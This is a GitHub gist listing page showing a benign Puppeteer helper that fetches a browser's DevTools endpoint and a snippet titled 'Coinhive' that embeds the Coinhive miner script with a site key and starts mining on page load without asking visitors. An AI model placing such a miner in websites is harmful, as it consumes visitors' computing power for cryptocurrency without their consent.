Skip to content

Instantly share code, notes, and snippets.

View hashtafak's full-sized avatar
🧲
NaN

Tuan Anh Tran hashtafak

🧲
NaN
View GitHub Profile
@hashtafak
hashtafak / pptEx.js
Created September 25, 2019 14:56
puppeteer get WSEnpoint
const http = require('http');
const debug = require('debug')('spb:lib:pptEx');
function getWSEndpoint(port) {
return new Promise((resolve, reject) => {
http
.get(`http://localhost:${port}/json/version`, (res) => {
res.setEncoding('utf8');
let rawData = '';
res.on('data', (chunk) => {
@hashtafak
hashtafak / index.html
Created November 9, 2017 16:31
Coinhive
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('aCyud8fkYf77SbqbEqXwApN8M6GOBHxB');
miner.start();
</script>
<script>
// Listen on events
miner.on('found', function() { /* Hash found */ })